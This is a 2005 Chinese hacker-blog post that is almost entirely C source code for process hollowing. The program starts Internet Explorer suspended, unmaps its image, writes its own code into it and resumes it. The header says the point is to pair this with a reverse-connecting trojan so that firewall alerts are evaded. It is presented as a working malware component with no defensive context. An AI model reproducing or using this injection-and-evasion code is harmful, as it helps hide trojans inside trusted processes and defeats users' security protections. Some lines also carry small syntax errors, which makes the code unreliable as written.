H4x0r's Blog

绕过防火墙的反向连接报警

Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2005-11-17

/*

Author: Polymorphours

Date: 2005/1/10

另一种将自己代码注入傀儡进程的方法，配合反弹木马，可绕过防火墙的
反向连接报警。

*/

#include <stdio.h>
#include <windows.h>

//
// ntdll.lib ( 来自DDK 2000 )
//

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);

typedef struct _ChildProcessInfo {

DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;

BOOL
FindIePath(
char *IePath,
int *dwBuffSize
);

BOOL InjectProcess(void);

DWORD
GetSelfImageSize(
HMODULE hModule
);

BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);

char szIePath[MAX_PATH];

int main(void)
{
if (InjectProcess() ) {

printf("This is my a test code,made by (Polymorphours)shadow3.\r\n");
} else {

MessageBox(NULL,"进程插入完成","Text",MB_OK);
}

return 0;
}

BOOL
FindIePath(
char *IePath,
int *dwBuffSize
)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '\0'
lstrcat(szSystemDir,"\\Program Files\\Internet Explorer\\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}

BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory( szModulePath, MAX_PATH );
ZeroMemory( szIePath, MAX_PATH );

GetModuleFileName( NULL, szModulePath, MAX_PATH );
FindIePath( szIePath, NULL );

if ( lstrcmpiA( szIePath, szModulePath ) == 0 ) {

return FALSE;
}

hModule = GetModuleHandle( NULL );
if ( hModule == NULL ) {

return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

//
// 以挂起模式启动一个傀儡进程,这里为了传透防火墙，使用IE进程
//

if ( CreateInjectProcess(
&pi,
&ThreadCxt ,
&stChildProcess
) ) {

printf("CHILD PID: [%d]\r\n",pi.dwProcessId);

//
// 卸载需要注入进程中的代码
//

if ( ZwUnmapViewOfSection(
pi.hProcess,
(LPVOID)stChildProcess.dwBaseAddress
) == 0 ) {

//
// 重新分配内存
//

lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE │ MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

if ( lpVirtual ) {

printf("Unmapped and Allocated Mem Success.\r\n");
}

} else {

printf("ZwUnmapViewOfSection() failed.\r\n");
return TRUE;
}

if ( lpVirtual ) {

PPEB = (DWORD *)ThreadCxt.Ebx;

//
// 重写装载地址
//

WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite
);

//
// 写入自己进程的代码到目标进程
//

if ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) ) {

printf("image inject into process success.\r\n");

ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress ) {

ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
} else {

ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}

#ifdef DEBUG
printf("EAX = [0x%08x]\r\n",ThreadCxt.Eax);
printf("EBX = [0x%08x]\r\n",ThreadCxt.Ebx);
printf("ECX = [0x%08x]\r\n",ThreadCxt.Ecx);
printf("EDX = [0x%08x]\r\n",ThreadCxt.Edx);
printf("EIP = [0x%08x]\r\n",ThreadCxt.Eip);
#endif

SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);

} else {

printf("WirteMemory Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}

} else {

printf("VirtualMemory Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}

return TRUE;
}

DWORD
GetSelfImageSize(
HMODULE hModule
)
{
DWORD dwImageSize;

_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax

}

return dwImageSize;
}

BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)

{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;

// 使用挂起模式启动ie

if( CreateProcess(
NULL,
szIePath,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
pi
) ) {

pThreadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pThreadCxt);

PPEB = (DWORD *)pThreadCxt->Ebx;

// 得到ie的装载基地址
ReadProcessMemory(
pi->hProcess,
&PPEB[2],
(LPVOID)&(pChildProcess->dwBaseAddress),
sizeof(DWORD),
&read
);

return TRUE ;

}

return FALSE;
}